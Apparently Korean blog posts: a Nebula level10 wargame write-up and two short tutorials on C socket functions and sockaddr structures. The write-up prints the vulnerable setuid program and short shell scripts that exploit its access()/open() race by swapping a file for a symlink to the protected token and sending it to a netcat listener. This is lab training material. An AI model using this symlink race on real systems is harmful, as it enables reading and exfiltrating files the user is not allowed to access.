이 문제 뭐냐 ㅋㅋㅋ5초만에 품…
이 문제의 의도대로 푼 것 같지 않아서 일단 다시 풀어보겠습니다.

 

우선 처음에 홈디렉토리에 x라는 파일이 있길래
cat x 를 해본 결과

 

이런식으로 너무 아무것도 보이지 않아서 cat x | more 명령어를 해봐서 혹시나 적혀있는게 있을까? 생각해서 봤는데

딱.. 뜨네요 그래서 바로 flag10 비번으로 넣었더니 성공…
일단 처음은 이렇게 풀었고 원래 의도대로 다시 풀어보도록 하겠습니다.

  

[참고]소켓 

http://z1tt3n.tistory.com/16
http://z1tt3n.tistory.com/15

#include <stdlib.h>

#include <unistd.h>

#include <sys/types.h>

#include <stdio.h>

#include <fcntl.h>

#include <errno.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <string.h>

 

int main(int argc, char **argv)

{

  char *file;

  char *host;

 

  if(argc < 3) {

    printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);

    exit(1);

  }

 

  file = argv[1];

  host = argv[2];

 

  if(access(argv[1], R_OK) == 0) {

    int fd;

    int ffd;

    int rc;

    struct sockaddr_in sin;

    char buffer[4096];

 

    printf("Connecting to %s:18211 .. ", host); fflush(stdout);

 

    fd = socket(AF_INET, SOCK_STREAM, 0);

 

    memset(&sin, 0, sizeof(struct sockaddr_in));

    sin.sin_family = AF_INET;

    sin.sin_addr.s_addr = inet_addr(host);

    sin.sin_port = htons(18211);

 

    if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {

      printf("Unable to connect to host %s\n", host);

      exit(EXIT_FAILURE);

    }

 

#define HITHERE ".oO Oo.\n"

    if(write(fd, HITHERE, strlen(HITHERE)) == -1) {

      printf("Unable to write banner to host %s\n", host);

      exit(EXIT_FAILURE);

    }

#undef HITHERE

 

    printf("Connected!\nSending file .. "); fflush(stdout);

 

    ffd = open(file, O_RDONLY);

    if(ffd == -1) {

      printf("Damn. Unable to open file\n");

      exit(EXIT_FAILURE);

    }

 

    rc = read(ffd, buffer, sizeof(buffer));

    if(rc == -1) {

      printf("Unable to read from file: %s\n", strerror(errno));

      exit(EXIT_FAILURE);

    }

 

    write(fd, buffer, rc);

 

    printf("wrote file!\n");

 

  } else {

    printf("You don't have access to %s\n", file);

  }

} 



 

 

 


vmware로 우분투 켜서 nc –l 18211 로 listen상태로 놓고 했더니 성공!


############################################################################################################ 


다시품..


찾아보니 이 문제는 이 의도가 아니라 race condition 문제이다 
access함수를 사용하여 해당 파일에 대한 접근권한을 체크하고 open함수를 사용한다. 
open함수는 어떠한 파일이 와도 사용할 수 있음(root 파일이여도..r권한만 있으면..)

(위 문제를 예를 들어 설명하자면 access함수를 사용하게 되면 level10계정이 해당 파일을 read할 수 있냐는 의미. 그리고 그 파일을 open해야 함)
그럴 경우 access함수와 open함수 사이에 아주 엄청나게 짧은 시간이지만 취약점이 생긴다.
예를 들어 루트가 open하고자 하는 파일이 만약 해커에 의해 만들어진 심볼릭링크 파일이라면 문제가 발생하게 된다.
이때 심볼릭 링크 파일로 루트 파일을 링크 걸게 될 경우 결국 해커는 루트의 권한으로 조작할 수 있게 된다.


#!/bin/sh
for i in `seq 1000`; do echo "VIDOCQ" >> ~/foo ; done
/home/flag10/flag10 ~/foo 192.168.20.128


#!/bin/sh
rm ~/foo
ln -s /home/flag10/token ~/foo




'System Hacking > Exploit-exercise' 카테고리의 다른 글

Nebula [Level13]  (1) 2015.11.04
nebula 문제 설명  (0) 2015.11.04
Nebula [Level08]  (0) 2015.11.01
Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level05]  (0) 2015.10.30

 

소켓통신

프로그램과 프로그램과의 통신.
(인터넷에서 통신하느냐, 컴퓨터 내에서 통신하느냐에 등등 사용영역에 따라 다름)

소켓 생성

소켓을 생성한다는 의미는 호스트가 통신을 하기 위해 필요한 리소스를 할당하는 것을 의미.

 

함수 원형

int socket( int domain, int type, int protocol)

  • domain : 소켓의 사용영역 정의.
  • type : 소켓이 데이터를 전송하는데 있어서 사용하게 되는 전송 타입을 설정.
  • protocol : 두 호스트간에 통신을 하는데 있어서 특정 프로토콜을 지정하기 위해 사용.

 

리턴 값

성공 : file descriptor

실패 : -1

 

@domain( 프로토콜 체계)

usr/include/sys/socket.h 에 선언 되어 있는 프로토콜 체계

PF_INET : IPv4 인터넷 프로토콜
PF_INET6 : IPv6 인터넷 프로토콜
PF_LOCAL : Local 통신을 위한 UNIX 프로토콜
PF_PACKET : Low level socket을 위한 인터페이스
PF_IPX : IPX 노벨 프로토콜

- 소켓을 생성할 때 어디서 사용할 것인지 그 환경을 고려하여 프로토콜 체계를 지정해 주면 그 환경에 사용 가능한 소켓이 생성된다.
( 인터넷영역에서 사용할 것인지, 로컬 영역에서 사용할 것인지..)

 

@type ( 소켓의 타입 )

데이터의 전송 타입으로 SOCK_STREAM, SOCK_DGRAM 이 있다.

 

SOCK_STREAM : 연결 지향형 소켓
-에러나 데이터의 손실 없이 무사히 전달.
- 전송하는 순서대로 데이터가 전달.
- 전송되는 데이터의 경계가 존재하지 않음.
=> 신뢰성 있는 순차적인 바이트 기반의 연결 지향 전송 타입.

 

SOCK_DGRAM : 비연결 지향형 소켓
- 전송되는 순서에 상관없이 가장 빠른 전송을 지향.
- 전송되는 데이터는 손실될 수도 있고, 에러가 발생할 수 있음.
- 전송되는 데이터의 경계가 존재.
- 한번에 전송되는 데이터의 크기는 제한.

 

@protocol ( 프로토콜 선택 )

호스트와 호스트 사이에 사용할 프로토콜을 설정.

 

프로토콜 체계가 PF_INET인 경우 다음과 같은 값이 올 수 있다.
- IPPROTO_TCP : TCP를 기반으로 하는 소켓을 생성(연결 지향형 소켓)
- IPPROTO_UDP : UDP를 기반으로 하는 소켓을 생성(비연결 지향형 소켓)

(PF_INET)-(SOCK_STREAM) -(TCP소켓) / (PF_INET)-(SOCK_DGRAM)-(UDP소켓)

  • 1번째와 2번째 인자로 인해 프로토콜은 정해지는 것 처럼 보인다.
  • 따라서 세번째 인자 값에 0 을 입력해도 자동으로 소켓은 생성된다.

세번째 인자값의 활용

  • 하나의 프로토콜 체계 안에서 데이터 전송타입까지 같지만 최종적으로 통신하는 형태가 다른,
    즉 전송 타입은 같지만 그 안에서도 프로토콜이 또 다시 나뉘는 상황에서 이 세번째 인자가 유용한 인자가 된다.
    즉 세번째 인자는 프로토콜을 조금 더 구체화 하기위해 사용된다.

 

 

socket 함수는 위에서 다루었고, 나머지 함수에 대해 아주 간략하게 정리하겠습니다.
bind 함수는 소켓에 IP와 port를 지정해줘서 소켓을 통신에 사용할 수 있도록 준비해줍니다.
listen함수는 client로부터 연결 요청을 대기열에 넣어주는 함수입니다.
accept함수는 대기열에 있는 접속 요청을 받아들이고, client와 통신하는 전용 소켓을 생성합니다.
connect 함수는 서버로 접속을 요청하는 함수입니다.


[참조] 나머지함수 설명은 아래주소에서 참조하세요

http://forum.falinux.com/zbxe/index.php?document_srl=430926&mid=C_LIB


'미분류' 카테고리의 다른 글

codegate vuln - 300  (0) 2015.11.27
PEDA 튜토리얼  (0) 2015.11.27
LOB fedora  (0) 2015.11.09
socketaddr / sockaddr_in  (0) 2015.11.01
White hat 2015 [write-up]  (0) 2015.10.30

 

sockaddr 구조체

소켓 주소를 표현하는 구조체.
TCP/IP만 목적으로 만들어진 것이 아니기 때문에, 다양한 주소체계에 맞게 구조체를 가지고 있다.

 

struct sockaddr
{

sa_family_t sa_family; /* 소켓의 주소체계 */

char sa_data[4]; /* 해당 주소체계에서 사용하는 주소정보 */

}

 

sockaddr_in 구조체

:IPv4 주소체계에서 사용하는 구조체.
소켓 프로그램은 범용 주소 구조체로 sockaddr을 사용하지만, 주소체계의 종류에 따라 별도의 전용 구조체를 만들어 사용하는게 편리하다.

* 소켓 라이브러리는 sockaddr을 사용하므로 라이브러리에 주소 정보를 넘길 때는 sockaddr로 형변환을 하여 넘긴다. 그렇기 때문에 구조체의 크기는 동일.

struct sockaddr_in

{

sin_family_t sin_family /* IPv4주소체계에서 사용하므로 항상 AF_INET */
unist16_t sin_port ; /* 포트 번호 */
struct in_addr sin_addr; /* IP주소를 나타내는 32비트 정수 타입 구조체 */

char sin_zero[8]; /* sockaddr과 같은 크기를 유지 하기 위해 필요한 패딩공간 항상 0 */

}

struct in_addr{

unit32_t s_addr; /* 32비트 IPv4 인터넷 주소 */

}

 

PF_INET주소 체계(Protocol Family)

소켓을 만들 때는 소켓이 사용될 환경을 고려해 프로토콜을 설정해 주어야 한다.
다시 말해 프로토콜 패밀리는 소켓을 생성할 때 이 소켓이 어떤 프로토콜을 사용해 통신을 할지 정해준다. 참고로 소켓은 네트워크 통신을 할 때만 사용되는 것은 아니다.
유닉스 계열의 시스템에서 시스템 내부의 프로세스들끼리 통신을 하기 위해서도 사용된다.
자주 사용되는 PF_INET는 프로토콜 패밀리중 하나다.

AF_INET 주소 체계(Address Family)

주소 구조체 안에 주소 패밀리를 정의할 때 사용.
프로토콜 체계를 나타내는 PF_INET 와 주소체계를 나타내는 AF_INET는 같은 상수 값을 갖는다. 그렇다고 해서 주소정보를 설정하는 부분에 PF_INET를 사용하고 프로토콜 패밀리 정보를 설정하는 부분에 AF_INET을 넣는 것은 좋지 않다.

 

 

 

 

 

'미분류' 카테고리의 다른 글

codegate vuln - 300  (0) 2015.11.27
PEDA 튜토리얼  (0) 2015.11.27
LOB fedora  (0) 2015.11.09
socket 통신 개념  (0) 2015.11.01
White hat 2015 [write-up]  (0) 2015.10.30

+ Recent posts